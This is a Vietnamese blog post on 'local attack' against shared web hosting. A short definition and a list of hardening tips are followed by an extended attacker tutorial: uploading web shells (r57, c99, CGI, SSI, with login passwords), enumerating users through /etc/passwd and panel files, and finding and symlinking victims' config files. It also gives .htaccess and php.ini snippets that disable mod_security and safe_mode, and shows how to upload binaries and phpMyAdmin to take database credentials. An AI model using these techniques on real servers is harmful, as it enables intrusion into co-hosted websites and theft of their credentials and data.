Local attack là gì? Giới thiệu về cách tấn công (hacking) bằng phương thức Local attack



Hack Local Attack và cách phòng tránh

Qua kinh nghiệm lập trình web và tìm hiểu về Hacking thì mình thấy Local Attack là phương pháp phổ biến và nguy hiểm cao. Mời các bạn đọc bài này để hiểu thêm về Local Attack cũng như cách phòng tránh, giúp cho việc bảo vệ website của bạn một cách an toàn hơn

Local Attack là gì ?

Local Attack là một phương pháp rất phổ biến dùng để tấn công 1 website nào đó trên cùng 1 server. Công cụ của việc tấn công này là dùng các đoạn mã khai thác được viết bằng 1 số ngôn ngữ lập trình như: PHP, ASP.Net, Python…

Các đoạn mã đó được gọi là Shell. Khi một hosting trên server bị upload lên đoạn file shell này, người tấn công có thể dùng các câu lệnh khai thác để thâm nhập qua các tài khoản hosting cùng server để đọc các thông tin nhạy cảm như: Email, thông tin Database (username,password..) một cách dễ dàng. Từ đó người tấn công có thể làm mọi điều họ muốn.

local attack va cach phong tranh

Ví dụ cho dễ hiểu: Bạn thuê hosting của 1 công ty A. Trên server chứa hosting và website của bạn cũng đang chứa thêm 10 website khác cùng chạy 1 lúc. Bỗng 1 ngày, 1 trong các website trên bị lỗi gì đó, họ bị tấn công và người tấn công upload lên file shell. Khi đã có file shell thì 9 website còn lại có thể bị người tấn công kia qua xem hết tất cả các cấu trúc tập tin cũng như thông tin Database. Rất nguy hiểm cho website của bạn, hoặc nếu website của bạn là mục tiêu thì tất nhiên website của bạn sẽ bị hack và phá hủy mọi dữ liệu

Các hình thức tấn công thường gặp

Công việc đầu tiên của người hack local attack là tìm hiểu thông tin mục tiêu. Họ sẽ quét sơ qua trước thông tin về domain, ip hosting của bạn đang sử dụng. Họ sẽ vào và xem website của bạn đang chạy mã nguồn gì, có sử dụng plugin hay code gì có lỗi dễ khai thác hay không…Nếu website của bạn tồn tại các lỗi như SQL Injection hoặc XSS hoặc 1 số lỗi phổ biến khác thì họ sẽ tấn công trực tiếp vào

Còn ngược lại, khi họ đã kiểm tra qua website của bạn, có vẻ như không có lỗi để khai thác, họ sẽ bắt đầu Reverse IP hosting của bạn. Thuật ngữ này dùng để quét ra tất cả website đang chạy cùng IP server với bạn – hàng xóm của bạn. Tùy theo Server mà họ setup cho server đó chạy bao nhiêu website cùng lúc. Sau khi đã có danh sách website đó, họ lại tiếp tục rà soát xem có bao nhiêu web hàng xóm của bạn dính lỗi để upload shell

2
Giao diện của một chương trình Shell – Công cụ đắc lực trong local attack

Nếu 1 trong các website đó dính lỗi SQL Injection hoặc các lỗi khác có thể khai thác để lấy và chiếm quyền Admin vào để upload shell thì từ đó sẽ là bàn đạp cho việc hacker tấn công qua website của bạn.

1 phương pháp tuy không hay lắm nhưng cũng được xem là lợi hại là Brute Force – Đoán password
Nghe có vẻ hơi vô lý, nhưng thật chất hiện vẫn còn rất nhiều webmaster để mật khẩu và username mặc định sau khi cài đặt hoặc đặt các password quá dễ đoán như: 123456, admin, 123456789, 123abc….

Từ đó họ có quyền upload file shell lên hosting kia và thực thi các lệnh để lấy thông tin từ website của bạn và phá hoại

Cách phòng chống Local Attack

Local attack hoàn toàn có thể phòng chống được, bảo mật kỹ sẽ khiến Shell không thể hoạt động local

Theo kinh nghiệm của mình, những biện pháp dưới đây sẽ hạn chế được phần nào khả năng khai thác khi hack qua local attack:

  • Không sử dụng các mã nguồn không rõ nguồn gốc. Vì có thể có nhiều lỗi hoặc bị chèn mã độc vào sẵn
  • Thường xuyên update các phiên bản mới của các loại mã nguồn mở để vá lỗi
  • Không đặt password quá dễ đoán, hãy tập thói quen cho mình dùng password kết hợp ký tự in hoa, số và ký tự đặc biệt
  • Không đặt trùng 1 password cho nhiều loại tài khoản. Vì bị mất cái này có thể mất luôn cái khác
  • CHMOD 400 cho các file có thông tin nhạy cảm, 101 cho folder
  • Sử dụng VPS thay vì dùng hosting để loại bỏ khả năng hack qua local attack
  • Thường xuyên backup dữ liệu và quét dữ liệu xem có chứa mã độc hay không

HƯỚNG DẪN CÁCH THỨC THỰC HIỆN KĨ THUẬT LOCAL ATTACK

hacker attack

1. Các bước local attack

+ Xác định các website chung sever với mục tiêu (Victim)
+ Kiểm tra toàn sever ,xác định site bảo mật kém và khai thác bằng các hình thức tấn công trực tiếp .
+ Up Shell lên website đã khai thác lỗi bảo mật
+ Kiểm tra điều kiện sever và quyền thực thi , sử dụng bypasss nếu bị hạn chế quyền
+ Tiến hành local sang mục tiêu

2. Phương pháp local attack

+ Xác định danh sách User trên toàn server để tìm user mục tiêu
+ Xác định path của mục tiêu
+ Xác định file config của mục tiêu
+ Local sang mục tiêu và lấy thông tin từ file config của mục tiêu
+ Crack + Brute hoặc change pass để login vào mụct iêu .
+ Up shell lên mục tiêu

3. Một số shell thường dùng trong local

r57, c99, shell cgi, byg....

– Shell r57 chỉ run được lệnh khi safemod=off, và chức năng php eval của nó run được khi không bị dis function
– Shell cgi có thể run lệnh ngay cả khi safemod=on
– C99 dễ dùng nhưng ít chức năng
– Và còn nhiều loại khác nhưng chủ yếu vẫn là xào nấu lại từ c99 và r57

4. Các câu lệnh cơ bản trong local attack

a. Xác định danh sách user

cat /etc/passwd
less /etc/passwd
more /etc/passwd
tail /etc/passwd
xxd /etc/passwd
rev /etc/passwd
tac /etc/passwd

* Lệnh kết hợp đặc biệt :

cat /etc/passwd |grep "/home" |cut -d: -f1

– Với Directadmin ta có lệnh sau :

cat /etc/virtual/domainowners

– Với cpanel ta có lệnh sau:

ls -la /etc/valiases/tendomainvictim.com

– Còn rất nhiều cách để tìm user của victim như xem error log …

tail -n 10000 /var/log/httpd/domains/domain.com.error.log

cat /usr/local/apache/logs/error_log | grep "domain.com" >>"user.txt"

* Đối với nginx

cat /var/log/nginx/error_log

Hoặc

cat /var/log/nginx/domain.com.error.log

b. Tìm PATH mục tiêu & FILE CONFIG

Cpanel : /home/user/public_html/
Direct Admin : /home/user/domains/tenmien.com/public_html/
Koloxo : /home/user/tenmien.com/public_html/
Plesk : /var/www/user/httdocs/

* Kết hợp đặc biệt :

Đôi khi trong 1 số trường hợp ta phải kết hợp với tấn công trực tiếp để lấy path mục tiêu một cách nhanh và tiện nhất .

Với các mã nguồn mở có thể sử dụng các exploit và bug để xác định path của mục tiêu

c. LOCAL – GET THÔNG TIN FILE CONFIG

ls , dir : Liệt kê tên các file bên trong thư mục

ls -al, ls -lia, dir -ao: Liệt kê tên và thuộc tính các file bên trong thư mục

vi, cat, less, more, tail : View nôi dung bên trong các file

ln : Lệnh symbolic link (Giống như thực hiện tạo shortcut trong windows)

cd: Chuyển đổi thư mục

chmod: Phân quyền cho các file hoặc thư mục (Cấu trúc lệnh : chmod 000 file/thumuc)

mkdir: tạo thư mục tại vị trí hiện tại

touch : Tạo file

zip -9 –r file.zip /path/ : lệnh nén dạng zip với tùy chọn cao nhất và hỗ trợ repair

unzip file.zip : lệnh giải nén định dạng zip

tar –cvf file.tar.gz /path/ : lệnh nén dạng tar (Nhẹ và nhanh hơn dạng Zip)

tar –xvf file.tar.gz : lệnh giải nén dạng tar

* Symlink và view file config của mục tiêu :

Sử dụng lệnh cat để view file config hoặc nếu không được sử dụng lệnh symlink

Cú pháp lệnh :

cat /path/config.php

– symlink

ln –s /path/config.php config.txt

Dùng lệnh này thì nó sẽ tạo 1 file config.txt ngang hàng với con shell và có nội dụng của file config, ta chỉ việc đọc file config.txt để biết nội dung file config (Tuy nhiên hiện nay đa số server đề không thể đọc theo cách bình thường)

– Sử dụng chức năng connect database trong r57 , c99 hoặc các shell chức năng để thực hiện việc kết nối với cơ sở dữ liệu, thay thông tin bên trong đó .

– Tùy trường hợp ta có thể sử dụng các chức năng hoặc công cụ khác nhau để thực hiện tấn công

* Đường dẫn file config của một số mã nguồn (Nếu thằng admin nó chưa đổi)

Vbulletin: public_html/includes/config.php
PHPBB: public_html/config.php
Joomla: public_html/configuration.php
WordPress: public_html/wp-config.php
ibp: public_html/conf_global.php
php-fusion: public_html/config.php
Smf: public_html/Settings.php
phpnuke: public_html/html/config.php
Xoops: public_html/mainfile.php
ZenCart: public_html/includes/configure.php
setidio: public_html/datas/config.php
Discuz: public_html/config/config_ucenter.php
Bo-Blog: public_html/data/config.php
Nukeviet: public_html/config.php

5. Một số chú ý:

– Đối với directadmin link vào phpmyadmin sẽ là:

http://domain/phpmyadmin

– Trường hợp không có phpmyadmin ta có thể dùng chức năng connect database của con shell hoặc đơn giản hơn là up luôn 1 cái phpmyadmin lên victim rồi truy cập và như bình thường :)) . Trường hợp xấu hơn là 2 cách trên không được thì up tool backup data lên backup lại rồi tải về restore trên local để lấy pass mà crack :))

– Các câu lệnh sử dụng ở trên là lệnh linux và được gọi ra từ thư mục /bin trường hợp không dùng được lệnh thì là do server đã chặn hoặc làm gì đó rồi nên không run được lệnh => ta có thể tìm cách để thay thế cái thư mục bin đó (cái này gọi là phương pháp thay thế)

Trên đây chỉ là khái quát một cách sơ lược nhất về local attack, còn khi vào thực tế thì nó thiên biến vạn hóa nên các bạn cần vận dụng cho hợp lý, chứ đừng quá máy móc.

CÁC LOẠI SHELL SỬ DỤNG PHỔ BIẾN KHI LOCAL ATTACK

A. R57

r57 1

r57 2

r57 3

1. Thông tin server: hệ điều hành, user, phiên bản php, mysql….
2. Khung hiển thị
3. Khung gõ lệnh
4. Phần để upload file lên
5. up và tải file qua ftp
6. Gửi email
7. Kết nối cơ sở dữ liệu

B. C99

c99 1

c99 2

C. Web admin

Con shell này rất đơn giản, nó cỉ có chức năng upload và di chuyển qua lại giữa các thư mục. Tuy chức năng của nó đơn giản nhưng lại rất tiện lợi đấy nhé 😀

webadmin

D. SSI shell

Con shell này dùng trong trường hợp shell php không có tác dụng, không chạy được cgi, telnet

ssi 1

ssi 2


E. BYG

Con shell khá nổi tiếng và được dùng rất rộng rãi với nhiều tính năng.
Pass login:  byg

byg

F. soleil.pin

 Nếu Server Safe_mod: ON,  cả shell r57 và c99 đều không có chức năng run command để thực thi các câu lệnh, vậy làm sao có thể local được.  Giải pháp được nghĩ đến là sử dụng shell cgi mà chức năng chính của nó là thực thi các câu lệnh.

4

 Pass login: ducdung.08clc

Cách sử dụng:

–   Up shell soleil.pin và chmod nó về 755
–   Up hoặc tạo file .htaccess có nội dung:

    ## START ##
    Options +ExecCGI
    AddHandler cgi-script cgi pl cgi gmc pin jpg
    RewriteEngine on
    RewriteRule (.*).mil$ $1.cgi
    Options +FollowSymLinks
    DirectoryIndex cmd.html
    Options +Indexes
    RemoveHandler .hack
    AddType text/plain .hack
    ## milw0rmvn exploit ##

Hoặc:

    Options FollowSymLinks MultiViews Indexes ExecCGI
    AddType application/x-httpd-cgi .cin
    AddHandler cgi-script .pin
    AddHandler cgi-script .pin

G. telnet.pl

Chức năng hoàn toàn tương tự với con shell soleil.pin
Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải sử dụng đến file .htaccess mà chỉ cần chmod nó về 755 là run ngon.

5

H. Priv8

priv8

I. saoluu.php

Con này dùng để backup data

saoluu

K. zipcode.php

Tác dụng dùng để zip code

zipcode

Symlink

1. Symlink là gì ?

Mọi người có thể hiểu như thế này symlink là tạo 1 file (thư mục) ánh xạ tới một file (thư mục) khác.
Hay nói đơn giản và dễ hiểu hơn nó tương tự như shortcut trên window 🙂

2. Vậy symlink để làm gì ?

Mục đich của symlink là xem file config của victim trong local attack trong trường hợp dir, cat không sử dụng được

3. Công cụ cần thiết

Rất đơn giản là 1 con shell trên 1 site nào đó cùng server với victim 🙂

4. Cách symlink

Ở đây mình sẽ phân ra hai trường hợp:

a. Safe mod = off

Trường hợp này bạn chỉ cần 1 con shell có thể run được lệnh, mình thường dùng shell r57 😀

Câu lệnh symlink:

ln -s /path/config.php 1.txt

– path: đường dẫn đến file config của victim
– config.php là file config của victim

b. Safe mod = on

Trường hợp này ta có thể tìm cách bypass để hạ về off
Các bạn có thể tạo file php.ini ngang hàng con shell với nội dung sau:

safe_mode = OFF
disable_functions = NONE

Ngoài ra có thể dùng tính năng bypass có sẵn trên shell

Một số cách pypass khác

– Bypass mod security bằng htaccess


SecFilterEngine Off
SecFilterScanPOST Off

– htaccess hỗ trợ symlink root

Options All
Options +FollowSymLinks +Indexes
DirectoryIndex default.html
AddType text/html php

Trường hợp không pypass được thì ta cần sử dụng shell CGI đặc điểm của con shell này là có thể run lệnh ngay khi safe mod = on Để chạy được shell cgi các bạn tạo file htaccess ngang hàng con shell với nội dung sau:

RewriteEngine On
RewriteBase /
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^Googlebot
RewriteRule ^(.*)$ http://google.com.vn#$1 [R=301,L]


    SecFilterEngine Off
    SecFilterSanPOST Off

Options +ExecCGI
AddHandler cgi-script cgi pl noob vl dcm bmp db file kid was h4 cbg
Options +FollowSymLinks +Indexes
DirectoryIndex noob.html

Trong này có cả pypass mod security luôn nhóe :))

Rồi giờ chmod con shell cgi về 0755 và run shell và chạy lệnh symlink thôi

Tuy nhiên một số trường hợp đã có htaccess mà vẫn không run được thì các bạn đừng ngạc nhiên vì đơn giản server đó không cho chạy cgi =))

* Sau khi symlink nếu đọc file txt bị báo lỗi 403 thì các bạn tạo file htaccess ngang hàng file txt đó với nội dung như sau thì sẽ đọc được

Options All
Options +FollowSymLinks +Indexes
DirectoryIndex default.html
AddType text/html php

===============================

SSI

Tiếp theo mình sẽ giới thiếu tới các bạn con shell ssi. Trong trường hợp dir, cat… cgi không dùng được thì bạn có thể dùng shell ssi để run lệnh 😀

Để biết server đó có có chạy được ssi hay không thì các bạn chạy như sau

ip/~user/path/ssi.shtml

– ip: địa chỉ IP của server
– user: user của site chứa con shell
– path: đường dẫn đến con shell
– ssi.shtml: shell ssi

ví dụ trên server 141.101.116.63 mình có con shell nằm trong thư mục upload của site thegioingam.org và site này có user là thegioingam thì sẽ run như sau

141.101.116.63/~thegioingam/upload/ssi.shtml

Nếu run được thì nó sẽ hiện ra con shell còn không thì bye bye =))

==============

Phương pháp thay thế​

1. Thay thế lệnh

  • Không biết gọi là gì nữa nên tạm gọi là như vậy =))
  • Đơn giản là như thế này các lệnh mà ta chạy nó được gọi ra từ thư mục bin ở root của server, vậy trong trường hợp không chạy được lệnh thì ta đừng dùng lệnh được gọi từ bin của server nữa mà hãy up lên các lệnh cần dùng cho riêng ta :))
  • Tuy nhiên không phải server nào cũng được nhé các bạn
  • Chú ý là dùng lệnh nào thì up file lệnh đó lên ngang hàng con shell chứ không phải là up cả cái bin lên nhóe 🙂
  • 1 số trường hợp không cho up file kiểu đó thì ta nén zip lại rồi up lên sao đó dùng lệnh unzip để giải nến
  • Sau khi up lên cần chmod 0755 mới chạy được nhé.
  • Lúc này cách chạy lênh của ta sẽ như sau

Ví dụ:

Bình thường ta chạy

cat /etc/passwd

Không hiện ra gì cả => ta up file cat của ta lên và chạy

./cat /etc/passwd

Nếu run được thì sẽ hiện ra list user còn không thì tức là server không cho phép hoặc là bạn chưa chmod file cat về 0755 =))

2. phpmyadmin

Đối với directadmin thì đường dẫn tới phpmyadmin sẽ là

http://domian.com/phpmyadmin

Tuy nhiên với những thằng không có hay phải vào control panel của host mới vô đc phpmyadmin thì sao ? Ta đã lấy được file config nhưng trong đó nó có ghi pass vào host đâu 🙁 Ta có thể dùng chức năng connect mysql của con shell tuy nhiên không phải lúc nào nó cũng làm việc Vậy cách đơn giản nhất là ta quăng luôn 1 thư mục phpmyadmin lên và run nó thôi =)) phpmyadmin các bạn lên google để tải nhóe


Bình luận

Email của bạn sẽ không được hiển thị công khai.